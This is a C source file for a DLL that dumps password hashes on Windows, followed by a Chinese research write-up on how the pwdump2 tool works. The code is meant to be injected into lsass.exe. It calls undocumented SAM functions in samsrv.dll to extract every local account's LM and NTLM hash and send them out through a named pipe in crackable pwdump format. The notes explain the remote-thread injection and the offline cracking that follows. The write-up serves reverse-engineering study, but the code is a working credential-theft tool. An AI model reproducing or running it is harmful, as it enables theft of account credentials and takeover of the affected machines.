* : cl getlmhashdll.c /nologo /Os /G6 /W3 /D "WIN32" /D "NDEBUG" /LD /link /RELEASE
* :
* Create : 2003-12-29 21:42
* Modify : 2004-01-04 17:26
* -----------------------------------------------------------------------
* The only thing they can't take from us are our minds. !H
*/
/************************************************************************
* *
* Head File *
* *
************************************************************************/
/*
* #define _WIN32_WINNT 0x0501
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* for _vsnprintf()
*/
#include <stdarg.h>
#include <windows.h>
/************************************************************************
* *
* Macro *
* *
************************************************************************/
#pragma comment( linker, "/INCREMENTAL:NO" )
#pragma comment( lib, "kernel32.lib" )
#define VERSION "1.10"
/*
* you'll find a list of NTSTATUS status codes in the DDK header
* ntstatus.h (/WINDDK/2600.1106/inc/ddk/wxp/)
*/
typedef LONG NTSTATUS;
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
#define SamUserOWFPasswordInformation 0x12
#pragma pack( push, 1 )
/*
* ntdef.h
*/
typedef struct _UNICODE_STRING
{
USHORT Length; // +0x000
USHORT MaximumLength; // +0x002
PWSTR Buffer; // +0x004
// +0x008
} UNICODE_STRING, *PUNICODE_STRING;
/*
* !!!
* from Luke Kenneth Casson Leighton
*/
typedef struct _SAM_DOMAIN_USER
{
DWORD userrid; // +0x000
UNICODE_STRING username; // +0x004,这是一个结构,而非结构指针
// +0x00c,该结构总共占12字节
} SAM_DOMAIN_USER, *PSAM_DOMAIN_USER;
/*
* !!!
* (C) Todd Sabin 1997,1998,2000 All rights reserved.
*/
typedef struct _SAM_DOMAIN_USER_ENUMERATION
{
DWORD DomainUserCount; // +0x000,数组元素个数
PSAM_DOMAIN_USER DomainUser; // +0x004,动态分配空间的结构数组
// +0x008,后面还有没有成员,目前看不出来
/*
* ... ...
*/
} SAM_DOMAIN_USER_ENUMERATION, *PSAM_DOMAIN_USER_ENUMERATION, **PPSAM_DOMAIN_USER_ENUMERATION;
/*
* 自己Hacking得到的结构,不可靠
*/
typedef struct _SAM_USER_OWF_PASSWORD_INFORMATION // Information Class 0x12
{
unsigned char NTLMHash[16]; // +0x000,16字节的NTLM Hash
unsigned char LMHash[16]; // +0x010,16字节的LM Hash
unsigned short int Unknown_020; // +0x020,参samsrv!SampGetCurrentAdminPassword()
unsigned char Unknown_022; // +0x022
// +0x023
} SAM_USER_OWF_PASSWORD_INFORMATION, *PSAM_USER_OWF_PASSWORD_INFORMATION;
typedef struct _SAM_SERVER_DOMAIN
{
DWORD unused; // +0x000,未使用,总为0(猜测)
UNICODE_STRING domainname; // +0x004,这是一个结构,而非结构指针
// +0x00c,该结构总共占12字节
} SAM_SERVER_DOMAIN, *PSAM_SERVER_DOMAIN;
typedef struct _SAM_DOMAIN_ENUMERATION
{
DWORD ServerDomainCount; // +0x000,数组元素个数
PSAM_SERVER_DOMAIN ServerDomain; // +0x004,动态分配空间的结构数组
// +0x008,后面还有没有成员,目前看不出来
/*
* ... ...
*/
} SAM_SERVER_DOMAIN_ENUMERATION, *PSAM_SERVER_DOMAIN_ENUMERATION, **PPSAM_SERVER_DOMAIN_ENUMERATION;
#pragma pack( pop )
/*
* 这些Undocumented Win32 API由samsrv.dll引出(export)
*/
typedef NTSTATUS ( WINAPI *SAMICONNECT )
(
DWORD Unknown_0, // 意义不明,调用时一般为0
PHANDLE pSamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE
DWORD AccessMask, // Access Mask
DWORD Unknown_1 // 意义不明,调用时一般为1
);
typedef NTSTATUS ( WINAPI *SAMROPENDOMAIN )
(
HANDLE SamHandle, // 源自sam connect操作
DWORD AccessMask, // Access Mask
PSID DomainSid, // 这个域不是通常所说NT域
PHANDLE pDomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
typedef NTSTATUS ( WINAPI *SAMROPENUSER )
(
HANDLE DomainHandle, // 源自sam open domain操作
DWORD AccessMask, // Access Mask
DWORD Rid, // 比如500,0x1F4,Administrator
PHANDLE pUserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
typedef NTSTATUS ( WINAPI *SAMRQUERYINFORMATIONUSER )
(
HANDLE UserHandle, // 源自sam open user操作
DWORD InfoClass, // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
// 了减少编译难度,换成DWORD型
PVOID UserInfo // 随InfoClass不同,对应不同的结构
);
typedef VOID ( WINAPI *SAMIFREE_SAMPR_USER_INFO_BUFFER )
(
PVOID UserInfo, // 随InfoClass不同,对应不同的结构
DWORD InfoClass // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
// 了减少编译难度,换成DWORD型
);
typedef NTSTATUS ( WINAPI *SAMRCLOSEHANDLE )
(
PHANDLE pHandle // 可以关闭各种sam操作相关的句柄
// 是指向HANDLE的指针,不是HANDLE
);
typedef NTSTATUS ( WINAPI *SAMRENUMERATEUSERSINDOMAIN )
(
HANDLE DomainHandle, // 源自sam open domain操作
PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
DWORD AccessMask, // filter,Access Mask
// 如欲枚举所有帐号,指定0
PPSAM_DOMAIN_USER_ENUMERATION pDomainUserEnumeration, // [out]参数
DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize
// 可以指定成0x0000FFFF
PDWORD pUserCount // [out]参数,枚举出的帐号数目
);
typedef VOID ( WINAPI *SAMIFREE_SAMPR_ENUMERATION_BUFFER )
(
PVOID EnumerationBuf // 其实是PSAM_ENUMERATION_BUFFER
// 调用时可能传PSAM_DOMAIN_USER_ENUMERATION
// 或者传PSAM_SERVER_DOMAIN_ENUMERATION
);
typedef NTSTATUS ( WINAPI *SAMRENUMERATEDOMAINSINSAMSERVER )
(
HANDLE SamHandle, // 源自sam connect操作
PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
PPSAM_SERVER_DOMAIN_ENUMERATION pServerDomainEnumeration, // [out]参数
DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize
// 应该也可以指定成0x0000FFFF
PDWORD pDomainCount // [out]参数,枚举出的Domain数目
);
typedef NTSTATUS ( WINAPI *SAMRLOOKUPDOMAININSAMSERVER )
(
HANDLE SamHandle, // 源自sam connect操作
PUNICODE_STRING DomainName, //
PSID *pDomainSid // [out]参数,用LocalFree()释放
);
/*
* 这些Native API由ntdll.dll引出(export)
*/
typedef ULONG ( __stdcall *RTLNTSTATUSTODOSERROR )
(
IN NTSTATUS status
);
/************************************************************************
* *
* Function Prototype *
* *
************************************************************************/
static void getlmhash ( void );
static BOOL LocateNtdllEntry ( void );
static BOOL LocateSamsrvEntry ( void );
static void PrintHash ( unsigned char *hash );
static void PrintUnicodeString ( PUNICODE_STRING us );
static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId );
static void PrintZwErrorCUI ( char *message, NTSTATUS status );
static int PrivatePrintf
(
HANDLE handle,
char *buf,
size_t count,
const char *format,
...
);
__declspec(dllexport)
DWORD __cdecl
getlmhashdll_main ( char *pipename );
/************************************************************************
* *
* Static Global Var *
* *
************************************************************************/
static HANDLE outfile = INVALID_HANDLE_VALUE;
static char *outbuf = NULL;
static size_t outbuflen = 0;
static HMODULE samsrv = NULL;
/*
* 由samsrv.dll引出的Undocumented Win32 API函数指针
*/
static SAMICONNECT SamIConnect = NULL;
static SAMROPENDOMAIN SamrOpenDomain = NULL;
static SAMROPENUSER SamrOpenUser = NULL;
static SAMRQUERYINFORMATIONUSER SamrQueryInformationUser = NULL;
static SAMIFREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = NULL;
static SAMRCLOSEHANDLE SamrCloseHandle = NULL;
static SAMRENUMERATEUSERSINDOMAIN SamrEnumerateUsersInDomain = NULL;
static SAMIFREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = NULL;
static SAMRENUMERATEDOMAINSINSAMSERVER SamrEnumerateDomainsInSamServer = NULL;
static SAMRLOOKUPDOMAININSAMSERVER SamrLookupDomainInSamServer = NULL;
/*
* 由ntdll.dll引出的Native API函数指针
*/
static RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL;
/************************************************************************/
static void getlmhash ( void )
{
NTSTATUS status;
HANDLE SamHandle = NULL,
EnumerationHandle = NULL,
DomainHandle = NULL,
UserHandle = NULL;
PSAM_SERVER_DOMAIN_ENUMERATION ServerDomainEnumeration = NULL;
DWORD DomainCount = 0,
UserCount = 0,
Count = 0;
PSID DomainSid = NULL;
PSAM_DOMAIN_USER_ENUMERATION DomainUserEnumeration = NULL;
BOOL nomoredata = FALSE;
PSAM_USER_OWF_PASSWORD_INFORMATION UserOWFPasswordInfo = NULL;
status = SamIConnect
(
0, // 意义不明,调用时一般为0
&SamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE
0x10000030, // Access Mask
// Generic read
// Open domain
// Enum domains
1 // 意义不明,调用时一般为1
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamIConnect() failed",
status
);
goto getlmhash_exit;
}
status = SamrEnumerateDomainsInSamServer
(
SamHandle, // 源自sam connect操作
&EnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
&ServerDomainEnumeration, // [out]参数
0x0000FFFF, // 意义未明,似乎对应Pref MaxSize
// 应该也可以指定成0x0000FFFF
&DomainCount // [out]参数,枚举出的Domain数目
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrEnumerateDomainsInSamServer() failed",
status
);
goto getlmhash_exit;
}
if ( 2 != DomainCount )
{
goto getlmhash_exit;
}
status = SamrLookupDomainInSamServer
(
SamHandle, // 源自sam connect操作
&ServerDomainEnumeration->ServerDomain[0].domainname, // PUNICODE_STRING
&DomainSid // [out]参数,用LocalFree()释放
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrLookupDomainInSamServer() failed",
status
);
goto getlmhash_exit;
}
status = SamrOpenDomain
(
SamHandle, // 源自sam connect操作
0x10000000, // Access Mask
// SampGetCurrentAdminPassword()中用的是这个值
DomainSid, // 这个域不是通常所说NT域
&DomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrOpenDomain() failed",
status
);
goto getlmhash_exit;
}
/*
* TMD,前面SamrEnumerateDomainsInSamServer()用过一次,真是个相当隐蔽
* 的错误。为了枚举所有帐号,调用SamrEnumerateUsersInDomain()之前一定
* 要将该[in/out]参数清零。
*/
EnumerationHandle = NULL;
do
{
status = SamrEnumerateUsersInDomain
(
DomainHandle, // Context Handle
&EnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
0, // filter,Access Mask
// 如欲枚举所有帐号,指定0
&DomainUserEnumeration, // [out]参数
0x0000FFFF, // 意义未明,似乎对应Pref MaxSize
&UserCount // [out]参数,枚举出的帐号数目
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrEnumerateUsersInDomain() failed",
status
);
goto getlmhash_exit;
}
/*
* from ntstatus.h(/WINDDK/2600.1106/inc/ddk/wxp/)
*
* Returned by enumeration APIs to indicate more information is
* available to successive calls.
*
* #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
*/
if ( STATUS_MORE_ENTRIES != status )
{
nomoredata = TRUE;
}
Count = 0;
while ( Count < UserCount )
{
status = SamrOpenUser
(
DomainHandle, // 源自sam open domain操作
0x10000000, // Access Mask
DomainUserEnumeration->DomainUser[Count].userrid, // RID
&UserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrOpenUser() failed",
status
);
goto getlmhash_exit;
}
status = SamrQueryInformationUser
(
UserHandle, // 源自sam open user操作
SamUserOWFPasswordInformation, // InformationClass,0x12,其实是
// SAM_USER_INFORMATION_CLASS枚举型,
// 为了减少编译难度,换成DWORD型
&UserOWFPasswordInfo // 随InformationClass不同,对应不同的结构
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrQueryInformationUser() failed",
status
);
goto getlmhash_exit;
}
PrintUnicodeString( &DomainUserEnumeration->DomainUser[Count].username );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":%u:",
DomainUserEnumeration->DomainUser[Count].userrid
);
PrintHash( UserOWFPasswordInfo->LMHash );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":"
);
PrintHash( UserOWFPasswordInfo->NTLMHash );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":::/n"
);
SamIFree_SAMPR_USER_INFO_BUFFER
(
UserOWFPasswordInfo,
SamUserOWFPasswordInformation // InformationClass,0x12
);
UserOWFPasswordInfo = NULL;
status = SamrCloseHandle
(
&UserHandle
);
UserHandle = NULL;
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrCloseHandle() failed for UserHandle",
status
);
goto getlmhash_exit;
}
Count++;
} /* end of while */
SamIFree_SAMPR_ENUMERATION_BUFFER
(
DomainUserEnumeration
);
DomainUserEnumeration = NULL;
}
while ( FALSE == nomoredata );
getlmhash_exit:
if ( NULL != UserOWFPasswordInfo )
{
SamIFree_SAMPR_USER_INFO_BUFFER
(
UserOWFPasswordInfo,
SamUserOWFPasswordInformation // InformationClass,0x12
);
UserOWFPasswordInfo = NULL;
}
if ( NULL != UserHandle )
{
SamrCloseHandle
(
&UserHandle
);
UserHandle = NULL;
}
if ( NULL != DomainUserEnumeration )
{
SamIFree_SAMPR_ENUMERATION_BUFFER
(
DomainUserEnumeration
);
DomainUserEnumeration = NULL;
}
if ( NULL != DomainHandle )
{
SamrCloseHandle
(
&DomainHandle
);
DomainHandle = NULL;
}
if ( NULL != DomainSid )
{
LocalFree( DomainSid );
DomainSid = NULL;
}
if ( NULL != ServerDomainEnumeration )
{
SamIFree_SAMPR_ENUMERATION_BUFFER
(
ServerDomainEnumeration
);
ServerDomainEnumeration = NULL;
}
if ( NULL != SamHandle )
{
SamrCloseHandle
(
&SamHandle
);
SamHandle = NULL;
}
return;
} /* end of getlmhash */
/*
* ntdll.dll正常引出了如下Native API,我们不想让ntdll.lib介入,这会增加编
* 译难度,于是换用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char ntdllname[] = "ntdll";
HMODULE ntdll = NULL;
/*
* returns a handle to a mapped module without incrementing its
* reference count
*/
ntdll = GetModuleHandle( ntdllname );
if ( NULL == ntdll )
{
PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
return( ret );
}
RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress
(
ntdll,
"RtlNtStatusToDosError"
);
if ( !RtlNtStatusToDosError )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
if ( NULL != ntdll )
{
ntdll = NULL;
}
return( ret );
} /* end of LocateNtdllEntry */
/*
* samsrv.dll正常引出了如下Undocumented Win32 API,由于没有samsrv.lib存在,
* 被迫利用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateSamsrvEntry ( void )
{
BOOL ret = FALSE;
char samsrvname[] = "samsrv";
samsrv = LoadLibrary( samsrvname );
if ( NULL == samsrv )
{
PrintWin32ErrorCUI( "LoadLibrary() failed", GetLastError() );
return( ret );
}
SamIConnect = ( SAMICONNECT )GetProcAddress
(
samsrv,
"SamIConnect"
);
if ( !SamIConnect )
{
goto LocateSamsrvEntry_exit;
}
SamrOpenDomain = ( SAMROPENDOMAIN )GetProcAddress
(
samsrv,
"SamrOpenDomain"
);
if ( !SamrOpenDomain )
{
goto LocateSamsrvEntry_exit;
}
SamrOpenUser = ( SAMROPENUSER )GetProcAddress
(
samsrv,
"SamrOpenUser"
);
if ( !SamrOpenUser )
{
goto LocateSamsrvEntry_exit;
}
SamrQueryInformationUser = ( SAMRQUERYINFORMATIONUSER )GetProcAddress
(
samsrv,
"SamrQueryInformationUser"
);
if ( !SamrQueryInformationUser )
{
goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_USER_INFO_BUFFER = ( SAMIFREE_SAMPR_USER_INFO_BUFFER )GetProcAddress
(
samsrv,
"SamIFree_SAMPR_USER_INFO_BUFFER"
);
if ( !SamIFree_SAMPR_USER_INFO_BUFFER )
{
goto LocateSamsrvEntry_exit;
}
SamrCloseHandle = ( SAMRCLOSEHANDLE )GetProcAddress
(
samsrv,
"SamrCloseHandle"
);
if ( !SamrCloseHandle )
{
goto LocateSamsrvEntry_exit;
}
SamrEnumerateUsersInDomain = ( SAMRENUMERATEUSERSINDOMAIN )GetProcAddress
(
samsrv,
"SamrEnumerateUsersInDomain"
);
if ( !SamrEnumerateUsersInDomain )
{
goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_ENUMERATION_BUFFER = ( SAMIFREE_SAMPR_ENUMERATION_BUFFER )GetProcAddress
(
samsrv,
"SamIFree_SAMPR_ENUMERATION_BUFFER"
);
if ( !SamIFree_SAMPR_ENUMERATION_BUFFER )
{
goto LocateSamsrvEntry_exit;
}
SamrEnumerateDomainsInSamServer = ( SAMRENUMERATEDOMAINSINSAMSERVER )GetProcAddress
(
samsrv,
"SamrEnumerateDomainsInSamServer"
);
if ( !SamrEnumerateDomainsInSamServer )
{
goto LocateSamsrvEntry_exit;
}
SamrLookupDomainInSamServer = ( SAMRLOOKUPDOMAININSAMSERVER )GetProcAddress
(
samsrv,
"SamrLookupDomainInSamServer"
);
if ( !SamrLookupDomainInSamServer )
{
goto LocateSamsrvEntry_exit;
}
ret = TRUE;
LocateSamsrvEntry_exit:
if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
/*
* 后面还要用这些函数指针,这里不得释放samsrv.dll
*/
return( ret );
} /* end of LocateSamsrvEntry */
static void PrintHash ( unsigned char *hash )
{
unsigned int i;
char buf[33];
char *p = buf;
for ( i = 0; i < 16; i++ )
{
sprintf( p, "%02X", hash[i] );
p += 2;
}
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s",
buf
);
return;
} /* end of PrintHash */
static void PrintUnicodeString ( PUNICODE_STRING us )
{
int i = 0;
unsigned int len = 0;
unsigned char *ansibuf = NULL,
*ansistr = NULL;
if ( NULL == us )
{
goto PrintUnicodeString_exit;
}
/*
* 将Unicode串转换成DBCS串再显示,否则中文串显示有问题
*/
len = us->Length + 1;
ansibuf = ( unsigned char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, len );
if ( NULL == ansibuf )
{
ansistr = "No memory for ansibuf";
}
else
{
i = WideCharToMultiByte
(
CP_ACP,
0,
us->Buffer,
( int )( us->Length / 2 ),
ansibuf,
len,
NULL,
NULL
);
if ( 0 == i )
{
ansistr = "WideCharToMultiByte() failed";
}
else
{
ansistr = ansibuf;
}
}
PrivatePrintf( outfile, outbuf, outbuflen, "%s", ansibuf );
PrintUnicodeString_exit:
if ( NULL != ansibuf )
{
HeapFree( GetProcessHeap(), 0, ansibuf );
ansibuf = NULL;
}
return;
} /* end of PrintUnicodeString */
static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId )
{
char *errMsg;
FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dwMessageId,
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s: %s",
message,
errMsg
);
LocalFree
(
errMsg
);
return;
} /* end of PrintWin32ErrorCUI */
static void PrintZwErrorCUI ( char *message, NTSTATUS status )
{
char *errMsg;
FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
RtlNtStatusToDosError( status ),
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s: %s",
message,
errMsg
);
LocalFree
(
errMsg
);
return;
} /* end of PrintZwErrorCUI */
static int PrivatePrintf
(
HANDLE handle,
char *buf,
size_t count,
const char *format,
...
)
{
va_list arg;
int num;
DWORD NumberOfBytes;
if ( INVALID_HANDLE_VALUE == handle || NULL == handle || NULL == buf || 0 == count || NULL == format )
{
return( -1 );
}
/*
* 将来运行在lsass.exe进程上下文中,必须动用SEH机制加以保护,否则一旦
* 出现内存访问违例,将导致整个操作系统崩溃!
*/
__try
{
va_start( arg, format );
num = _vsnprintf
(
buf,
count - 1,
format,
arg
);
if ( num >= 0 )
{
WriteFile
(
handle,
buf,
num,
&NumberOfBytes,
NULL
);
}
va_end( arg );
}
__except
(
EXCEPTION_EXECUTE_HANDLER
)
{
num = -1;
}
return( num );
} /* end of PrivatePrintf */
DWORD __cdecl getlmhashdll_main ( char *pipename )
{
DWORD ret = EXIT_FAILURE;
outbuflen = 1024;
outbuf = ( char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, outbuflen );
if ( NULL == outbuf )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == WaitNamedPipe( pipename, NMPWAIT_USE_DEFAULT_WAIT ) )
{
goto getlmhashdll_main_exit;
}
outfile = CreateFile
(
pipename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if ( INVALID_HANDLE_VALUE == outfile )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == LocateNtdllEntry() )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == LocateSamsrvEntry() )
{
goto getlmhashdll_main_exit;
}
/*
* 利用samsrv.dll引出的Undocumented Win32 API获取本机帐号的LM Hash、
* NTLM Hash
*/
getlmhash();
ret = EXIT_SUCCESS;
getlmhashdll_main_exit:
if ( NULL != samsrv )
{
FreeLibrary( samsrv );
samsrv = NULL;
}
if ( INVALID_HANDLE_VALUE != outfile )
{
CloseHandle( outfile );
outfile = INVALID_HANDLE_VALUE;
}
if ( NULL != outbuf )
{
HeapFree( GetProcessHeap(), 0, outbuf );
outbuf = NULL;
}
outbuflen = 0;
return( ret );
} /* end of getlmhashdll_main */
BOOL WINAPI DllMain ( HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad )
{
DisableThreadLibraryCalls( hinstDll );
return( TRUE );
} /* end of DllMain */
/************************************************************************/
--------------------------------------------------------------------------
1) pwdump2在做什么。
假设当前用户是Administrator或等效用户,pwdump2利用远程线程注入向lsass.exe
进程空间注入一段代码,加载了samdump.c生成的动态链接库,然后GetProcAddress
获取samdump.dll的一个引出函数并调用之。该引出函数获取当前系统中可枚举帐号
的LM Hash、NTLM Hash,生成LC4格式(.lc)文件,可用LC4或等效工具进行暴力破解。
关于LM Hash脆弱性,参看<<SMB系列(5)--LM/NTLM验证机制>>。
http://www.opencjk.org/~scz/200210141957.txt
第一次用加载DLL的办法完成远程线程实质性工作,以前是按照C语言式shellcode的
套路。加载DLL的办法要省不少细节上的纠缠,也趁此多做一点技术积累。
2) 为什么pwdump2这样做就可以获取LM Hash、NTLM Hash。
这个问题,严格意义上的讲解太复杂,又得扯一堆概念进来,参看[2]。简单地讲,
在lsass.exe进程上下文中调用samsrv.dll的未文档化引出函数,这些函数会返回期
望中的LM Hash、NTLM Hash。
开始我低估了SAM安全限制。以为以SYSTEM权限访问SAM即可获取LM Hash,居然失败。
最后确认非要从lsass.exe进程上下文中访问SAM,否则得到如下错误信息:
SamIConnect() failed: 安全帐户管理器(SAM)或本地安全颁发机构(LSA)服务器处于运行安全操作的错误状态。
3) 既然这种技术是未文档化的,那帮人又是如何得到这种技术的,他们Hacking的过
程、思想的发展可能是怎样的。
最开始我在写扫描器远程漏洞扫描插件,用NetUserGetInfo()查询远程用户信息,在
Ethereal解码过程中意识到与pwdump2的联系。接下来有了逆向samsrv.dll的想法。
逆完SampUpdateEncryption、SampGetCurrentAdminPassword,就得出了前面那个抽
象流程。再与samdump.c一对照,思路很清晰。虽然我不清楚bindview的人是怎么接
近此处的,但按我这个搞法,也可接近此处,就不无谓纠缠了。
4) 在此基础上我们还能继续Hacking出其它有用的东西吗。
目前我没有更多时间Hacking这个方向,但至少成功还原了一批函数原型、数据结构。
有些东西可能目前阶段没有直接用途,但日后肯定会用到的。
枚举值SamUserOWFPasswordInformation(0x12)只能用于本机操作,如在网络操作中
指定0x12级查询,会报告无效级别,显然这出于安全考虑。我在一个底层SMB测试程
序中手工构造SamrQueryInformationUser(36)报文,试图指定level 0x12,查询失败。
5) 下次让你独立确定一个课题并研究之,你会在上述研究中受到什么样的启发,比
如选题方向、研究方法、工具使用等等。
由此想到一种研究Windows未文档化函数的方法。很多SMB网络函数第一形参指定目标
系统,当该形参为NULL时目标系统即本机。如果用Ethereal抓取了网络通信报文,根
据DCE RPC的marshalling/unmarshalling知识,有可能还原最初的数据结构,而这种
数据结构同时适用于本机、远程操作。再结合适当的逆向工程,进展会更大。当然,
有个重要前提,就是Ethereal已经进行了正确的Network Hacking,否则会导致错误
结论。你还必须能够在Ethereal所解析出的远程过程、Windows RPC Server以及MSDN
中的Win32 API这三者之间找到必然联系。
有个较深的感受,有些东西之间看似没有联系,实际却殊途同归。很早以前就想看看
pwdump2的实现机理,一直觉得它是横空出世的,没有来历,很茫然。搞不清为什么
要GetProcAddress获取那些引出函数地址。没想到在网络通信解码过程中豁然开朗。
看样子以后正门搞不定了,就扔到一边,说不定哪天发现到处是侧门。
☆ 参考资源
[ 2] Windows NT Security, Part 1
http://www.winntmag.com/Articles/Print.cfm?ArticleID=3143
Windows NT Security, Part 2
http://www.winntmag.com/Articles/Print.cfm?ArticleID=3492